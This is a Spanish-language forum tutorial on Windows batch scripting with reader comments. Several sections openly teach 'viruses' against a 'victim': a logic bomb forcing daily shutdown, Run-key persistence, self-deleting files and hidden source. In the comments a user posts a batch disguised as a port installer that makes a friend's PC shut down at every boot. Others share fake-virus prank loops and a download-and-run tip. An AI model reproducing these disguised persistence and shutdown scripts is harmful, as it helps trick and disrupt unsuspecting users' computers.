que necesitamos:
.-windows xp/vista
.-block de notas
.-unos pocos minutos de tiempo
.-un teclado XD
Indice
1. Batch
1.1 Codigos Basicos y Pequeña Practica Iniciativa
1.2 guardando el Batch
2. Variables
2.1 Variables del entorno
3. Bombas logicas y Virus en Batch
4. IF (not) y IF (NOT) EXIST
4.1 Aplicacion del IF a las variables y menus
5. Bucles
6. Mejorar el Diseño de menus
7. Automatizando Tareas (AT)
8. Utilizacion de comandos de red
9. Redirecciones
10. %0, %1, etc.
11. Manejo del Registro
I---------------------------------------------I
1. batch
batch no es un lenguaje, ya que no permite crgar imagenes ni mucho mas, batch no es muy potente, pero permite usar comandos del
CMD (SIMBOLO DEL SISTEMA) tales como el IF o el IF EXIXT
I---------------------------------------------I
1.1 Codigos Basicos y Pequeña Practica
1->ejecuta el block de notas o cualquier editor de texto plano (no sirve el microsof world)
comancos basicos
Código:
*ECHO: imprime un texto en pantalla
*@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
* DIR: muestra un listado con el contenido de un directorio.
* TYPE: muestra el contenido de un archivo en pantalla.
* COPY: copia archivos en otro lugar.
* REN (RENAME): renombra archivos.
* DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o archivos borrados hubiese sido utilizado con posterioridad
* MD o MKDIR: crea un nuevo directorio.
* CD o CHDIR: cambia el directorio actual por el especificado.
* RD o RMDIR: borra un directorio vacío.
* DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
* CLS: limpia la pantalla.
* HELP: ayuda sobre las distintas órdenes.
* SORT: ordena Datos
*SHUTDOWN: apaga el ordenador
Ahora a la practica
Abres el Block y escribes esto
Código:
@echo off
title Primer Programa
echo presiona una tecla
pause
echo hola
pause > nul
exit
Aca una screen del codigo anterior luego de ser compilado y funcionando:
Ahora expliquemos el codigo que copiaste.
Código: @echo offesto hace que no se vea el codigo fuente de nuesto batch si se viera la victima sabria si es un virus o no
Código: titleeste es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.
Código: echo
sirve para imprimir texto en la pantalla
por ejemplo
echo hola
en la pantalla apareceria "hola"
Esto crea una pausa en el batch
Código: pause > nul
esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"
I---------------------------------------------I
1.2 ¿Como guardo el Batch?
Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...
Luego en el nombre ponemos el nombre que le queramos poner pero debe tener la extension .bat Tambien nos aseguramos que abajo ponga "todos los archivos"
I---------------------------------------------I
2. Variables
DEFINICION
Las variables se usan en la mayoria de los lenguajes de programacion. Son datos que pueden ir cambiando a medida que el programa prende. Las variables pueden tener diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.
OJO-> Cuando ejecutas una variable en batch siempre se ponen entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%
A LA PRACTICA
comenzaremos examinando el codigo siguiente:
Código: @echo offAhora Examinemos el codigo:
Código: set /p nombre=como te llamas?
con esto damos a llamar a una variable "set /p" es para preguntar el valor de la varieble y "nombre" seria el nombre de la variable luego "=como te llamas" seria la pregunta a responder por el que ejecuta el batch (no aparece el signo "=" en la pregunta)
%nombre% es la variable lo cual cuando pongamos %nombre% saldra la respuesta de la pregunta set /p nombre=como te llamas? lo mismo pasa con %edad% y %comida%
--
Código: echo hola %nombre% veo que tienes %edad% anios verdad? como rayos te puede gustar %comida%? XDeste codigo lo deberias entender
este seria el ejemplo del programa corriendo asi se entiende mejor:
Código: Bienvenidos al ejercicio para aprender variablescomo te llamas? holy
que edad tienes? 14
que comes? nada
hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD
I---------------------------------------------I
2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para hacer que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros hacemos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente pondremos que busque en la ruta c:/windows/system32/
pero que pasa si la vistima no tiene unidad c: y lo tiene instaldo en la particion e:? claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables de entorno, que son estas:
en este caso hechariamos mano de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad
Código: @echo off
en caso de que tubieramos en el disco c:
eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de hacer un batch.
I---------------------------------------------I
3. Bombas Logicas y Virus en Batch
es facil crear virus en batch (si se pueden llamar virus...). A continuacion mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador a las 17:00 todos los dias.
¿que es una bomba logica?
es una especie de virus que cada cierto tiempo hace algo ejemplo: todos los dias a las 2 de la noche borra un archivo
Mira este codigo
Código: shutdown -s -f -t 15 -c "muere"Ahora porque este codigo
Código: shutdownapaga el equipo
Código: -sactiva apagar el equipo
Código: -fFuerza a las aplicaciones activas a cerrarse
Código: -t xxEs el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero de tiempo)
Código: -c "x"muestra un mensaje con lo que quieras (donde esta la x pones el mensaje)
--------------------------------------------------------------------------------
entonces si creamos un batch que se inicie con windows y apage el pc de la victima a las 17:00 molestara mucho a la victima.
lo que haria seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00.
I---------------------------------------------I
4. IF (not) y IF (NOT) EXIST
IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal funcion en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion
Código: @echo off
En cambio IF NOT es exactamente lo contrario, verifica que algo no sea igual a un valor que pondremos. Aqui se ve claramente:
Código: @echo off
IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con esto:
Código: @echo off
I---------------------------------------------I
4.1 Aplicacion del IF a las variables y menus IF nos ayuda a la hora de crear menus. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado.
Código: @echo offif %var%==1 (goto goo)
if %var%==2 (goto wiki)
if %var%=="" (goto menu)
:goo
ping [url]www.google.com[/url]
pause
goto menu
:wiki
ping [url]www.wikipedia.com[/url]
pause
goto menu
I---------------------------------------------I
5. Bucles
Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidament e. Estos bucles se pueden realizar muy facilmente con etiquetas tal como en el siguiente ejemplo.
Código: @echo off
como ven si lo prueban, se ejecutara el comando infinitamente hasta que cerremos el programa.
Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo.
:bucle
if %var%==0 (goto exit) else set /A var=%var%-1
echo hola viteh!
goto bucle
:exit
echo hola
pause
exit
I---------------------------------------------I
6. Mejorar el Diseño de menus
Hay simbolos que al imprimirlos mediante la variable echo cambian de forma. Con ciertos caracteres tales como "Í" se pueden crear tablas,
columnas, etc. Aqui les mostrare de que se trata esto. Nos sirve para darle nuevos look's a los convencionales menus de "1. opcion uno".
Aclaro que la idea original es de espectro infernal, yo solo adapto lo que se y lo transmito.
El simbolo "Í" que anteriormente les mostraba como ejemplo quedaria asi luego de imprimirlo:
Como ven parece un igual, pero tiene una diferencia, no deja espacio entre caracteres lo que permite una cadena de =. Tal como la siguiente imagen:
Hay mas codigos. Les dejo el terminado para que prueben y vean el resultado de convinaciones de estos caracteres.
Tambien pueden crear sus propias tablas personalizadas . Los caracteres mas usados son "ÿ,Í,ÿ,¼,»,º."
I---------------------------------------------I
7. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha indicada. Por ejemplo que el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los dias. Aqui les mostrare unos ejemplos y veran los facil es.
Código: @echo off
Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.
Código: @echo offSi ponemos una tarea accidentalment e, por ej.
Código: at 17:30 format e:podemos usar un parametro que nos permite eliminar las tareas. Esto se realiza mediante la agregacion de el parametro /delete "id de tarea". Si se omite el id, se borraran todas.
Código: @echo off
I---------------------------------------------I
8. Utilizacion de comandos de red
Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. comandos:
Código: FTPIPCONFIG parámetros
Mostrar las características de configuración de IP
/all -> muestra toda la información de configuracion
/release adaptador -> libera la ip del adaptador especificado
/renew adaptador -> renueva la ip para el adaptador especificado
/flushdns -> purga la caché de resolución de dns
/registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
/displaydns -> muestra el contenido de la cache de resolución dns
NBTSTAT
Hace un estado de la red por netbios
Tiene muchos parámetros. Consultarlos mediante nbtstat /?
NET parámetros
Comando para el uso de redes netbios
USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
USE \USER: dominio\usuario para acceder a un dominio
USE unidad /DELETE eliminar el acceso a unidad compartida.
SHARE trayecto /REMARK texto -> para compartir un recurso en red
START -> para comenzar sesión netbios
STOP -> para detener netbios
NETSTAT
Para ver el estado de la red.
-a -> mostrar todos los puertos y conexiones
-n -> mostrar números de puertos y direcciones
-r -> mostrar la tabla de rutas
-s -> mostrar estadísticas por protocolo
-p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
NSLOOKUP dominio
Muestra el dominio, su ip, dns donde se resuelve y sus alias
PING
Enivia paquetes a un host para comprovar su disponibilidad
TELNET ip puerto
Utilizar el protocolo telnet para acceso a un servidor exterior
TRACERT destino
muestra el camino que se toma hasta llegar a la ip
I---------------------------------------------I
9. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo.
En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros.
Código: @echo off
rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo
Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:
DISPOSITIVO -- SALIDA
CON -- Salida por la pantalla
PRN -- Salida por la impresora por defecto
LPT1 -- Salida por la 1º impresora en paralelo
COM1 -- Salida por el primer puerto serie
COM2 -- Salida por el segundo puerto serie
I---------------------------------------------I
10. %0, %1, etc.
Estos valores, son parametros pre-definidos o a definir por el usuario. A continuacion seran explicados con ejemplos.
%0 se refiere al programa mismo, osea al batch donde esta empleado. Es medio confuso pero se comprueba con este ejemplo:
Copien el codigo y compilenlo, luego ejecutenlo y vean que pasa. Ahi entenderan el concepto 100%.
Los demas %1, %2, %3 hasta 1000, son parametros no definidos. Estos hacen referencia a los parametros que se pueden espesificar para un comando. Tal como
Código:
Código: dir /p
en este caso "/p" seria igual a %1.
Entonses si ponemos
"/f" es %1 y "/q" es %2
Es algo complicado en un principio, pero una vez que se aprende te daz cuenta que es muy simple. Es principalmente escencial para modificar el funcionamiento de los programas y/o crear ayudas como en lso comandos default de windows.
Estas variables, nos sirven a la hora de crear diferentes paramentros de comportamiento para el programa. Por ej. Si queremo s que cuando le agregemos /help como %1, osea primer parametro, no ejecute el programa normalmente, sino que ejecute la ayuda del programa. Aqui les he traido un simple code que demuestra el funcionamiento de etas varibles, gurdenlo con el nombre prueba.bat, luego en la consola vayan a la ruta donde lo guardaron y ejecutenlo de este modo:
C:\Documents and Settings\administrador\Escritorio\>prueba.bat /help
y luego solo normalmente
C:\Documents and Settings\Francisco\Escritorio\>prueba.bat
Código: @echo off:help
echo Esta es la ayuda
echo Aqui va la ayuda en caso de que el programa se ejecute con el parametro /help
pause
exit
:tex
echo De esta forma se ejecuta el programa normalmente
pause
exit
I---------------------------------------------I
11. Manejo del Registro
Accesar al registro es algo fundamental si queremos hacer algo como un virus o algo asi. Esto es posible mediante el comando "reg". Este comando tiene infinitas posibilidades. Hay muchos parametros que se peude espesificar y muchas funcionalidade s. Tratare de explicarlas lo mas clara y simplemente. Estos son solos los mas importantes, hay otros pero con estos ya es suficiente.
Los tipos de "reg" son los siguientes:
Aqui les mostrare un ejemplo para que quede claro su llamado y funcionamiento .
ADD REG hklm/software/microsoft/windows/currentversion/run /v syst /d "c:/windows/system32/shut.bat"
Este comando agregaria una clave al registro de inicio con el nombre syst y con el valor de la ruta de nuestro bat.
REG QUERY
REG QUERY clave [/v nvalor | /ve][/s]
clave [\equipo\]clave
equipo: Nombre del equipo remoto. Si se omite se usa el equipo actual. Sólo están disponibles HKLM y HKU en equipos remotos.
clave: Con la forma nombre de CLAVERAIZ\subclave CLAVERAIZ [ HKLM | HKCU | HKCR | HKU | HKCC ]
Subclave: Nombre completo de la clave de registro en la CLAVERAIZ seleccionada.
/v consulta para una clave de registro específica
nvalor: nombre en la clave seleccionada para consultar.
Si se omite, se consultará en todos los valores de la clave.
/ve Consultar el valor predeterminado o el de nombre vacío <sin nombre>
/s Consultar todas las subclaves y valores Ejemplos: REG QUERY HKLM\Software\Microsoft\ResT /v Version
Muestra el valor del valor Version del registro. REG QUERY HKLM\Software\Microsoft\ResT\Setup /s
Muestra todas las subclaves y valores en la clave de registro Setup.
REG EXPORT
clave ROOTKEY\subclave (sólo equipo local)
ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
subclave El nombre completo de la clave del registro dentro del valor
ROOTKEY seleccionado
archivo El nombre del archivo de disco para exportar
Ejemplos:
REG EXPORT HKLM\Software\MiCo\MiAp CopiaAp.reg
Exporta todas las subclaves y valores de la clave MiAp al archivo
CopiaAp.reg
REG IMPORT
Importa una clave importada con reg export.
REG IMPORT "c:/loquesea.reg"
REG COMPARE
Compara 2 claves de registro.
REG COMPARE HKLM\Software\MiCo\MiAp HKLM\Software\MiCo\GuardaMiAp
Compara todos los valores dentro de la clave MiAp con GuardaMiAp
REG COMPARE HKLM\Software\MiCo HKLM\Software\MiCo1 /v Version
Compara el valor Version en las claves MiCo y MiCo1
REG COMPARE \\ZODIAC\HKLM\Software\MiCo \\. /s
Compara todas las subclaves y valores en HKLM\Software\MiCo de ZODIAC
con la misma clave del equipo actual
fuente--> mundonet
Como verificar una clave en regedit?
Hola, como puedo crear un bat que ejecuta una instalacion (por ejemplo: SETUP /ADMINFILE Install.msp) SOLAMENTE si el nombre del equipo corresponde al deseado ?
el nombre del equipo se encuentra en la clave REGEDIT :
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName]
"ComputerName"="NOMBREDELPC"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ActiveComputerName]
"ComputerName"="NOMBREDELPC"
COMO LO HAGO?
Me gusta! Es más ya inventé
Me gusta! Es más ya inventé (y publicaron) un "programa" llamado "AutoSNEEK Maker". Una sola pregunta:"¿Es pocible colocar acentos?", por ejemplo:
Y aparece:
Instalaci¾n
Presione una tecla para continuar . . .
Tienes dudas, pasate por aquí
chcp /?
chcp /?
¿Como se utiliza?
¿Como se utiliza?
No revivamos, por favor.
No revivamos, por favor.
por que no
Esta posteando en el lugar correcto
Cierto
Mas, si necesita ayuda, mejor esto a crear posts en el foro...
Y, la respuesta a tu pregunta es: Sí, se puede. ¿Cómo? No lo sé. Pero poderse, se puede.
¡Saludos!
Wii 4.3E, sobrevivió a un Full Brick gracias al Chip InFeCtuS... ^^
http://elrapdelpinguino.wordpress.com
Kyngo's System Checker - www.scenebeta.com
-----------------------------------------
Debemos aprender a aceptar a los demás por cómo son, no por quienes son.
Si seguimos siendo tan superficiales, el mundo acabarña realmente peor...
muy bien
muy bien por tu tutorial, aunque yo ya sabía batch, eso y mas, te faltaba un poco de informacion pero eran demasiado "profesionales" ¿me explico? avanzados.
dew
LanChat 1.3, Tu chat para red local.
Varias pregunta
Bueno, estoy haciendo varios programas para mantenimiento del PC con un programa que inicia los .bat y tengo varias preguntas:
¿Cómo puedo hacer que el .bat acceda a una carpeta oculta para eliminar su contenido o visualizarlo en la ventana? Porque estuve intentando que elimine los archivos de una carpeta oculta pero no me dejó, en cambio acceder a la carpeta del Recycle Bin que oculta Windows si que me dejó, ¿puede ser porque la carpeta lleva un acento en su nombre?
¿Cómo puedo hacer que el .bat haga una copia TOTAL del registro del PC(Me refiero al del Windows)?
¿Cómo puedo hacer que un .bat sea universal para todos los Windows?En esto me refiero a que por ejemplo, para eliminar contenido de la carpeta Cookies(esta en C:\Documents and Settings\usuari\Cookies\) no tengas que introducir tu nombre de usuario en el programa que inicia los .bat(el que los escribe)
¿Cómo puedo hacer que el .bat restablezca una copia TOTAL de registro del PC(Me refiero al del Windows)?
Gracias de antemano.
P.D: Tengo mas preguntas pero ahora no me acuerdo
Juraria que la variable para
Juraria que la variable para el usuario es $USER. Pon $USER donde vaya el usuario y se pondrá el usuario actual.
Cito de ariba,
%ALLUSERSPROFILE% ------> todos los usuarios
%APPDATA% ---------> datos de programa
%PROMPT%%TEMP% y %TMP% ---------> temporales
%USERDOMAIN% -----------> obtener dominio
%USERNAME% --------------->nombre del usuario Actual
%USERPROFILE% ---------------> usuario configuracion
%programfiles% ---------------> archivos de programas
%systemroot% ----------------> windows
%homedrive% --------------> disco Raiz
ESto va muy bien cuando no sabes por ejemplo que nombre de usuario tendra, si tendra windows en el disco duro c: o le habra dado otro nombre o lo que sea, te soluciona diversas variables.
Otra pregunta
¿Cómo puedo hacer que el .bat baje archivos de internet y los inicie?
¿Cómo puedo hacer que el .bat sea imposible eliminarlo?
Gracias.
Pues para la primera harias como
si abrieras una pagina web, pones la direccion de descarga y listos, lo que no se como hacer es para que no pida confirmacion de donde lo queieres guardar. Eso ya tendria que investigar a ver si se puede.
Y despues ejecutarlo, pues en el batch pones que abra ese archivo y listos.
Ejemplo:
start www.scenebeta.com/direcion_del_archivo_a_descargar.exe ( o el formato que sea depende de lo que quieras)
(una vez se haya bajado pues)
%homedrive%/ruta_del_archivo/archivo_descargado.exe(y con esto lo ejecuta)
Para lo segundo
Pues o darle a "Solo lectura", aunque se puede quitar, o haciendo un programa que use continuamente el BAT, aunque con el Unlocker se puede quitar...
"El pueblo no debería temer a sus gobernantes, son los gobernantes los que deberían de temer al pueblo"
Para todo eso
No creo que Batch sea suficiente.
Muy buen toturial
Lo aprendí todo hasta el capitulo 7, porque desde ese capítulo no logré aprender nada =S
Lenguaje batch.... Está
Lenguaje batch.... Está bien para tener cultura, pero funcional 0.
Dependiendo para que comandos, necesitarás instalar en el windows algunos archivos cmd, lo que hace que el batch depende da muchos archivos externos.
De todas formas, para windows no lo veo nada útil. Yo creo que el lenguaje batch está más indicado a MS-DOS, con lo que puedes hacerte un disket de arranque con utilidades como el scandisk, o format... Pero ya está, aquí acabó todo.
Saludos.
www.SceneBeta.com recomienda Mozilla FireFox.
Si tu supieras...
Mira que decir que funcional 0... Yo lo uso a diario para administrar sistemas en casa y en el trabajo (junto con vbs).
Así historicamente comentarte que el lenguaje BATCH era el encargado de avisarnos cuando el servidor web se nos caia en windows, de reiniciarlo y de hacer los backups...
En cuanto a su dependencia de archivos externos es muy pequeña, además hay herramientas que permiten empaquetarlo como exe junto con los archivos que necesite. Si depende de algo son de las políticas de sistema en dominios windows (tanto los bat como los scripts Cscript y Wscript)...
Así como utilidades destacables, a parte de los backups, te mencionaré que yo tengo un batch que cuando la SAI principal de la oficina detecta un corte de corriente envia una orden de apagado inmediato a todos los servidores para evitar que se pierda información.
Salu2
"El paraíso a mi derecha, el infierno a mi izquierda y el ángel de la muerte tras de mi."
Si, claro como Script's es
Si, claro como Script's es perfecto, pero como la gente empieza a preguntar por cargar imagenes y demás... No hay que olvidar que el lenguaje batch no es más que un archivo con lineas de comandos. Vaya, que es como una nota de "tareas por hacer" que se realizan automáticamente sin necesidad de que el informático lo pique (son comandos MS-DOS). Vaya, es lo que yo entiendo por lenguaje batch. Quizás habría que hacer un "tutorial" (si este sale a flote) explicando que es el lenguaje batch, aplicaciones y limitaciones. Para que la gente le quede claro y que esto está muy lejos a lo que es la programación "populista".
Esto es como (salvando las distancias abismales :D) cobol, que dudo que le interese a la gran masa (ya que para hacer juegos, funcional 0 XD), pero si tiene una función clara para bancos.
Solo me referia a eso, gracias por aclararlo (o hacermelo aclarar) ;).
www.SceneBeta.com recomienda Mozilla FireFox.
Hay alguna manera de borrar
Hay alguna manera de borrar las claves de registro creadas? Es para un miniprogramilla-virus con su propio eliminador, pero necesito borrar las claves de registro.
P.D: Creeen que un amigo qeu no sabe casi nada de PC se tragara estos 2 batch?
@echo off
title Abrir puertos 8080 y 9090
echo Abriendo los puertos 8080 y 9090
echo Registrando los puertos...
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/puertos.bat"
pause
echo El ordenador se tiene que apagar
echo cuando este apagado enchufelo.
shutdown -s -f -t 15 -c "Instalacion del puerto, no es un error."
pause > nul
exit
El instalador, me falta poner para que se copie el archivo puertos.bat
y aqui el codigo del puertos.bat:
@echo off
shutdown -s -f -t 15 -c "Error al iniciar explorer.exe"
exit
xDD a ver si se lo traga, xDD
Ahmm
Me gusta la creatividad, pero la que está bien aplicada.
Espero no volver a ver alguna pregunta que tenga que ver con Virus. Scenebeta, simplemente no apoya esas prácticas.
Es una broma para un amigo
Es una broma para un amigo mio, xDDDD. Ya no me hace falta el codigo para eliminar la clave de registro, lo encontre en un foro.
Te importa compartirlo?
Así el autor podrá añadirlo al tutorial...
Salu2
El codigo de borrar la
El codigo de borrar la clave de registro es simple:
REG DELETE "calve de registro con su direccion exacta"
ya lo e reeditado
lo cual ya solamente el 5% del tutorial es original de mundonet.us el 95% es mio cualkier duda o algun error en el tutorial aganmelo saber por medio de algun comentario
jajajaj
como recuerdo, un dia, a un amigo, le hize un batch, para que este le copiara todas las *.dll de la carpeta de winbugs en su escritorio JAJAJA
Preguntas
No os confundais
Batch es, por así decirlo, un lenguaje de scripting, y no muy potente. Olvidaros de cargar gráficos.
Respecto a lo de cerrar el PC hay cientos de formas con llamadas a windows desde el típico shutdown hasta llamadas por wmi o RPC.
Salu2
"El paraíso a mi derecha, el infierno a mi izquierda y el ángel de la muerte tras de mi."
ahh xD creia q se podian
ahh xD creia q se podian cargar jaja
Sobre lo del pc lo se como se puede hacer pero me refiero a arreglero. ¿Simplemente se borra el archivo que cierra el pc para arreglaro?
salu2
Depende
Depende de como se haya hecho, pero si es un script o un batch sí bastaría cone eliminarlo.
Salu2
aa ok gracias... si es un
aa ok gracias...
si es un script en batch, lo he hecho con el shutdown asi q borrandolo funcionara :D
Gracias tio
Haciendo un virus(fake)
@echo off
echo YOU HAVE A VIRUS ON YOU COMPUTER
titulo VIRUSSSSSS
Color 04
pause
echo Verificando el anti-virus...
pause
echo Quiere eliminar el antivirus actual?
pause
echo ACESO DENEGADO
echo ACESO DENEGADO
echo ACESO DENEGADO
pause
echo ACTIVANDO VIRUS...
echo VIRUS ACTITIVADO!!!
pause
:1
dir/s
goto 1
Ruguer el duro.
mejor asi no?
@echo off
echo YOU HAVE A VIRUS ON YOU COMPUTER
titulo VIRUSSSSSS
Color a
pause
echo Verificando el anti-virus...
ping localhost >nul
echo Quiere eliminar el antivirus actual?
pause >nul
echo ACESO DENEGADO
echo ACESO DENEGADO
echo ACESO DENEGADO cls
ping localhost >nul
echo ACTIVANDO VIRUS... ping localhost >nul
echo VIRUS ACTITIVADO!!!
pause
:1
echo 1001010001010110101110101010101010101101010101
echo 1011010101101010010001010100101010100110010101
echo 1010100101001001001010101011001010101010101010
echo 10101001010101010100110010100101010101010101001
echo 10101010101001010101101010101001010101010011001
goto 1
LanChat 1.3, Tu chat para red local.
je, je, je, es mucho mejor
je, je, je, es mucho mejor xD
que mal
que mal estructurao está, por Dios. Ahí le faltan mas cosas que a un batch que creó un amigo mio (solo sabia poner echo, pause y exit). y decia que sabia hacer virus. yo se ya Autoit, Bat, un poco de palib y un poco de C++, html, php y javascript. el tuto esta bien. meteros aquí: M2Soft
LanChat 1.3, Tu chat para red local.
jaja me recuerdo que yo
jaja me recuerdo que yo tambien hize uno falso en C y se lo pase a ruguer pero no lo ha creido ¬¬ Tenias razon de lo que no puedo hacer esto jajaja
jaja weno, otros lo han creido y como mola cuando se asustan xD
Salu2
Jajajaja, yo le hice otro a
Jajajaja, yo le hice otro a un amigo mio con Game Maker, se asusto entero xDDD cada vez que iniciaba el PC se apagaba, hice un parche para borrarlo por si me apetecia, diciendole como que era un antivirus, xDDDDDDD
portada
si algun se molesta en mirarlo porfavor que lo suba a portada
fuente
y la fuente?
mundonet
me parece que era mundonet.org
Pero
fue un copy~paste, o fue explicado a tu manera?
si es copy paste
No ira a portada, eso seguro.
no es copy paste
buendo en si lo es pero lo e variado osea lo copie lo pegue y quite y puse con mis palabras, copy paste editado
Puedes pasar
el URL para que algún editor haga una comparación?
Aun asi sigue siendolo
Editandolo no es tuyo, asi que a portada lo dudo seriamente.
Sobre contenido
Lo mejor sería que hicieras un tutorial desde 0 y con tus propias palabras. A nadie de aquí le gustaría ver un tutorial (o parte) suyo en otra página y con otro autor.
No es ningún obstáculo, es sólo respeto hacia los demás.
Saludos